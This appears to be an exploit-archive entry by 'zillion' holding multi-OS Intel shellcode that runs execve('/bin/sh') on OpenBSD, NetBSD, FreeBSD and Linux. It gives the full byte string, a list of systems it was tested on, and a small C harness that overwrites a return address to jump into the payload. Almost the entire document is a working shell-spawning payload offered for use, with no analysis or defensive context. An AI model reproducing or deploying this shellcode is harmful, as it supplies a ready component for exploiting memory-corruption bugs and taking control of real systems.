This is Intel shellcode that does an execve of /bin/sh and works on OpenBSD, NetBSD, FreeBSD and Linux. More information can be found here.
f4c43ae66ec56a546fd302bf5e8a101723bcc899e973aec9b3341bacc7c05e60
/*
Multi OS shellcode
-------------------
This shellcode will do an execve from /bin/sh and works on OpenBSD, FreeBSD
NetBSD and Linux. It was tested to work on the following systems:
FreeBSD 4.6-PRERELEASE
FreeBSD 4.5-RELEASE
OpenBSD 3.0
NetBSD 1.5.2
Linux 2.0.36
Linux 2.2.12-20
Linux 2.2.16-22
Linux 2.4.7-xfs
More info and source code available on safemode.org
Written by zillion[at]safemode.org
*/
char shellcode[] =
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}